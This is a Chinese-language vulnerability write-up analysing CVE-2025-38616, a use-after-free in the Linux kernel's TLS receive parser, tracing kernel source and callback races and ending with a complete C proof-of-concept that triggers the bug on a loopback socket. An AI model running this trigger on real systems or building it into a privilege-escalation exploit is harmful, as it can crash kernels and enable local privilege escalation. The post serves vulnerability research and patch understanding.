漏洞简介

漏洞编号: CVE-2025-38616

影响版本:v6.0 <= Linux Kernel < v6.17

漏洞产品: linux kernel - tls & tls_strp_msg_load & uaf

利用效果: 本地提权

​

前言

作者最近在尝试审计ktls子系统,分析了一些过往漏洞之后想尝试挖掘点不一样的东西,但是陷入一个很尴尬的局面,RX路径过往爆出的漏洞多但似乎倾向于比较安全了?TX路径除了异步加密处理和RX路径出了类似的问题就没有其它洞了(往前追溯两三年的结论),一时间不知如何下手,所以想从过往的漏洞找一些灵感

结果作者还真找到了一个没人利用过的漏洞(至少在公开途径是真没找到)

该漏洞主要是在tls_strp_read_sock这个函数,这段代码的大概逻辑是,如果strp->stm.full_len的值为空,表示首次读取,此时就从tcp接收队列中读取一个skb的引用,读取record的header的size设为strp->stm.full_len,然后就是判断tcp接收队列的数据是否满足一个record了,未满足则调用tls_strp_read_copy(strp, true)退出函数运行,等待网卡收到数据继续读取,当满足时则将strp->msg_ready标记为true

static int tls_strp_read_sock(struct tls_strparser *strp)
{
	int sz, inq;

	inq = tcp_inq(strp->sk);
	if (inq < 1)
		return 0;

	if (unlikely(strp->copy_mode))
		return tls_strp_read_copyin(strp);

	if (inq < strp->stm.full_len)
		return tls_strp_read_copy(strp, true);

	if (!strp->stm.full_len) {
		tls_strp_load_anchor_with_queue(strp, inq);

		sz = tls_rx_msg_size(strp, strp->anchor);
		if (sz < 0) {
			tls_strp_abort_strp(strp, sz);
			return sz;
		}

		strp->stm.full_len = sz;

		if (!strp->stm.full_len || inq < strp->stm.full_len)
			return tls_strp_read_copy(strp, true);
	}

	if (!tls_strp_check_queue_ok(strp))
		return tls_strp_read_copy(strp, false);

	WRITE_ONCE(strp->msg_ready, 1);
	tls_rx_msg_ready(strp);

	return 0;
}

漏洞就在于,原有的代码只会在未设置strp->stm.full_len时读取引用,后续并没有更新引用。那么就产生了一个问题,在tcp侧有一个skb聚合的操作,当多次调用该函数才读满一个record时,如果触发了skb合并,旧的skb将会被释放,但是引用却没有更新,从而导致uaf

但是作者在后续分析该漏洞时,发现并没有什么利用点,大概有使用uaf引用的只有这段代码
​

static bool tls_strp_check_queue_ok(struct tls_strparser *strp)
{
	unsigned int len = strp->stm.offset + strp->stm.full_len;
	struct sk_buff *first, *skb;
	u32 seq;

	first = skb_shinfo(strp->anchor)->frag_list;
	skb = first;
	seq = TCP_SKB_CB(first)->seq;

	/* Make sure there's no duplicate data in the queue,
	 * and the decrypted status matches.
	 */
	while (skb->len < len) {
		seq += skb->len;
		len -= skb->len;
		skb = skb->next;

		if (TCP_SKB_CB(skb)->seq != seq)
			return false;
		if (skb_cmp_decrypted(first, skb))
			return false;
	}

	return true;
}

skb_shinfo(strp->anchor)->frag_list这条引用指向的内存就是因为合并操作被释放的skb,这里也只是读取一个值TCP_SKB_CB(first)->seq

而在tls_strp_msg_load函数中,会重新读取更新引用

void tls_strp_msg_load(struct tls_strparser *strp, bool force_refresh)
{
	struct strp_msg *rxm;
	struct tls_msg *tlm;

	DEBUG_NET_WARN_ON_ONCE(!strp->msg_ready);
	DEBUG_NET_WARN_ON_ONCE(!strp->stm.full_len);

	if (!strp->copy_mode && force_refresh) {
		if (WARN_ON(tcp_inq(strp->sk) < strp->stm.full_len))
			return;

		tls_strp_load_anchor_with_queue(strp, strp->stm.full_len);
	}

	rxm = strp_msg(strp->anchor);
	rxm->full_len	= strp->stm.full_len;
	rxm->offset	= strp->stm.offset;
	tlm = tls_msg(strp->anchor);
	tlm->control	= strp->mark;
}

这样看来该漏洞似乎只是一个uaf读的无害漏洞?作者能想到可能的利用姿势就是伪造字段然后数据混淆使得一些逻辑发生错误最终实现的利用,如果有对该漏洞进行过研究甚至利用成功的师傅可以指点一下
得出结论后作者又联想到一个漏洞,也就是本文提到的漏洞,主要就是绕过引用更新从而导致uaf。但作者之前没有细究过该漏洞,大概只知道它是由于数据被偷走一部分导致的异常,找了一下发现网上也只有对利用手法的介绍以及exploit,而没有对漏洞的分析和poc,作者就自己分析了一波写下这篇文章

​

环境搭建

复现环境:qemu + linux kernel v6.12.39

环境附件: bzImage

复现流程: qemu启动内核后,将poc编译传到vm中(或者编译好重新打包文件系统),运行即可触发WARN


漏洞原理

漏洞的本质是uaf。正如patch的desc所说,tls假设它独有skb的操纵权,而当在绑定tls之前阻塞读取skb,当skb到达网卡时,会触发tls回调调用tls_strp_read_sock进行处理,最终将strp->msg_ready设置为true,但还会继续执行tcp回调,导致skb被读取释放,后续进行tls读取时访问到释放的skb引用造成uaf

​

漏洞分析

tls进行解密读取时,会调用tls_rx_rec_wait从tcp接收队列读取一个skb的引用,而当strp->msg_ready不为true时会调用tls_strp_check_rcv进行接收(先读取才发送时触发,也就是说tls_strp_check_rcv有多条触发路径,当网卡接收到skb时触发或者recv时还没有一条完整的record时触发)

static int
tls_rx_rec_wait(struct sock *sk, struct sk_psock *psock, bool nonblock,
		bool released)
{
	struct tls_context *tls_ctx = tls_get_ctx(sk);
	struct tls_sw_context_rx *ctx = tls_sw_ctx_rx(tls_ctx);
	DEFINE_WAIT_FUNC(wait, woken_wake_function);
	int ret = 0;
	long timeo;

	timeo = sock_rcvtimeo(sk, nonblock);

	while (!tls_strp_msg_ready(ctx)) {
		if (!sk_psock_queue_empty(psock))
			return 0;

		if (sk->sk_err)
			return sock_error(sk);

		if (ret < 0)
			return ret;

		if (!skb_queue_empty(&sk->sk_receive_queue)) {
			tls_strp_check_rcv(&ctx->strp);
			if (tls_strp_msg_ready(ctx))
				break;
		}

		if (sk->sk_shutdown & RCV_SHUTDOWN)
			return 0;

		if (sock_flag(sk, SOCK_DONE))
			return 0;

		if (!timeo)
			return -EAGAIN;

		released = true;
		add_wait_queue(sk_sleep(sk), &wait);
		sk_set_bit(SOCKWQ_ASYNC_WAITDATA, sk);
		ret = sk_wait_event(sk, &timeo,
				    tls_strp_msg_ready(ctx) ||
				    !sk_psock_queue_empty(psock),
				    &wait);
		sk_clear_bit(SOCKWQ_ASYNC_WAITDATA, sk);
		remove_wait_queue(sk_sleep(sk), &wait);

		/* Handle signals */
		if (signal_pending(current))
			return sock_intr_errno(timeo);
	}

	tls_strp_msg_load(&ctx->strp, released);

	return 1;
}

当strp->msg_ready为true时直接调用tls_strp_msg_load,这里出现一种情况会导致代码提前退出运行,就是当tcp接收长度小于record长度时。说明数据发生了丢失或者被窃取,开发者也想到了这种可能,所以给了一个WARN,警告代码不应该走到这条逻辑。但问题是,前面提到当skb到达网卡时已经加载skb引用了,所以跳过后续引用更新的操作,使用的引用指向的内存已经被释放就造成uaf了

void tls_strp_msg_load(struct tls_strparser *strp, bool force_refresh)
{
	struct strp_msg *rxm;
	struct tls_msg *tlm;

	DEBUG_NET_WARN_ON_ONCE(!strp->msg_ready);
	DEBUG_NET_WARN_ON_ONCE(!strp->stm.full_len);

	if (!strp->copy_mode && force_refresh) {
		if (WARN_ON(tcp_inq(strp->sk) < strp->stm.full_len))
			return;

		tls_strp_load_anchor_with_queue(strp, strp->stm.full_len);
	}

	rxm = strp_msg(strp->anchor);
	rxm->full_len	= strp->stm.full_len;
	rxm->offset	= strp->stm.offset;
	tlm = tls_msg(strp->anchor);
	tlm->control	= strp->mark;
}

但,这是为什么呢?其实不难假想到这么一个情况,tls加载一个skb引用并将strp->msg_ready设置为true之后进行tcp读取释放,就能触发这漏洞了,但是设置tls之后,skb的操纵权不是移交给tls了吗?

当进行tcp读取时,如果还没有数据,tcp_recvmsg_locked会调用sk_wait_data

int sk_wait_data(struct sock *sk, long *timeo, const struct sk_buff *skb)
{
	DEFINE_WAIT_FUNC(wait, woken_wake_function);
	int rc;

	add_wait_queue(sk_sleep(sk), &wait);
	sk_set_bit(SOCKWQ_ASYNC_WAITDATA, sk);
	rc = sk_wait_event(sk, timeo, skb_peek_tail(&sk->sk_receive_queue) != skb, &wait);
	sk_clear_bit(SOCKWQ_ASYNC_WAITDATA, sk);
	remove_wait_queue(sk_sleep(sk), &wait);
	return rc;
}

作者对这段代码并不了解,拷打ai给我的反馈是,它是让线程睡眠,然后等待唤醒

void sock_def_readable(struct sock *sk)
{
	struct socket_wq *wq;

	trace_sk_data_ready(sk);

	rcu_read_lock();
	wq = rcu_dereference(sk->sk_wq);
	if (skwq_has_sleeper(wq))
		wake_up_interruptible_sync_poll(&wq->wait, EPOLLIN | EPOLLPRI |
						EPOLLRDNORM | EPOLLRDBAND);
	sk_wake_async_rcu(sk, SOCK_WAKE_WAITD, POLL_IN);
	rcu_read_unlock();
}

查找该函数的引用发现是注册的一个回调函数

void sock_init_data_uid(struct socket *sock, struct sock *sk, kuid_t uid)
{
	......
	sk->sk_state_change	=	sock_def_wakeup;
	sk->sk_data_ready	=	sock_def_readable;
	sk->sk_write_space	=	sock_def_write_space;
	sk->sk_error_report	=	sock_def_error_report;
	sk->sk_destruct		=	sock_def_destruct;
  ......
}

但这里作者就感觉很奇怪了,因为之前在分析tls_strp_read_sock的时候发现skb到达网卡自动触发的完整调用链如下:

tls_data_ready -> tls_strp_data_ready -> tls_strp_check_rcv -> tls_strp_read_sock

而tls_data_ready是注册的回调

void tls_sw_strparser_arm(struct sock *sk, struct tls_context *tls_ctx)
{
	struct tls_sw_context_rx *rx_ctx = tls_sw_ctx_rx(tls_ctx);

	write_lock_bh(&sk->sk_callback_lock);
	rx_ctx->saved_data_ready = sk->sk_data_ready;
	sk->sk_data_ready = tls_data_ready;
	write_unlock_bh(&sk->sk_callback_lock);
}

也就是说,设置tls时,sk->sk_data_ready回调已经被replace了,为什么还会触发tcp回调呢?

想不明白的道理还是选择上动态调试,前面得出的结论,不难看出触发漏洞的关键,实际上在于tcp和tls两个回调产生的冲突(即执行tls_strp_read_sock之后又执行了sock_def_readable),那么下两个断点,一个在tls_strp_read_sock,一个在sock_def_readable

最终观测到了这么一个有趣的现象,分析此时的函数调用栈,sock_def_readable居然是由tls_strp_read_sock调用的?

最终定位到这段代码,一切真相大白了,在执行tls_sw_strparser_arm更换sk->sk_data_ready回调时,将旧的回调存放在ctx->saved_data_ready,而tls_strp_read_sock读取完record,将strp->msg_ready设为true之后会调用tls_rx_msg_ready执行了保存的回调

void tls_rx_msg_ready(struct tls_strparser *strp)
{
	struct tls_sw_context_rx *ctx;

	ctx = container_of(strp, struct tls_sw_context_rx, strp);
	ctx->saved_data_ready(strp->sk);
}


完整poc:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <linux/tls.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <sys/wait.h>
#include <err.h>

#define SYSCHK(x) ({typeof(x)__res=(x);if(__res==(typeof(x))-1)err(1,"SYSCHK("#x")");__res;})
#define EXPLOIT_PORT 4444

void setup_tls(int sock)
{
        struct tls12_crypto_info_aes_ccm_128 crypto={0};
        crypto.info.version=TLS_1_2_VERSION;
        crypto.info.cipher_type=TLS_CIPHER_AES_CCM_128;
        SYSCHK(setsockopt(sock,SOL_TCP,TCP_ULP,"tls",sizeof("tls")));
        SYSCHK(setsockopt(sock,SOL_TLS,TLS_RX,&crypto,sizeof(crypto)));
}

int vuln_exploit(int port)
{
        int listener,conn,client,n;
        static char buf[0x100000];

        struct sockaddr_in addr={
                .sin_family=AF_INET,
                .sin_port=htons(port),
                .sin_addr.s_addr=htonl(INADDR_LOOPBACK)
        };

        listener=socket(AF_INET,SOCK_STREAM,0);
        if(listener<0){perror("socket");exit(1);}
        if(bind(listener,(struct sockaddr*)&addr,sizeof(addr))<0){perror("bind");exit(1);}
        if(listen(listener,1)<0){perror("listen");exit(1);}

        client=socket(AF_INET,SOCK_STREAM,0);
        if(client<0){perror("socket");exit(1);}
        if(connect(client,(struct sockaddr*)&addr,sizeof(addr))<0){perror("connect");exit(1);}

        conn=accept(listener,NULL,0);
        if(conn<0){perror("accept");exit(1);}

        if(fork()==0)
        {
                recv(conn,buf,0x10000,0);
                exit(0);
        }

        setup_tls(conn);

        unsigned char tls_record[]={
                0x17,0x03,0x03,0x00,0x23,
                0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
                0x00,0x26,0xa2,0x33,0xde,0x8d,0x94,0xf0,0x29,0x6c,0xb1,
                0xaf,0x6a,0x75,0xb2,0x93,0xad,0x45,0xd5,0xfd,0x03,0x51,0x57,0x8f,0xf9,0xcc,0x3b,0x42
        };

        n=write(client,tls_record,sizeof(tls_record));
        usleep(10000);

        recv(conn,buf,0x10,0);
}

int main()
{
        setvbuf(stdin,0,2,0);
        setvbuf(stdout,0,2,0);
        vuln_exploit(EXPLOIT_PORT);
}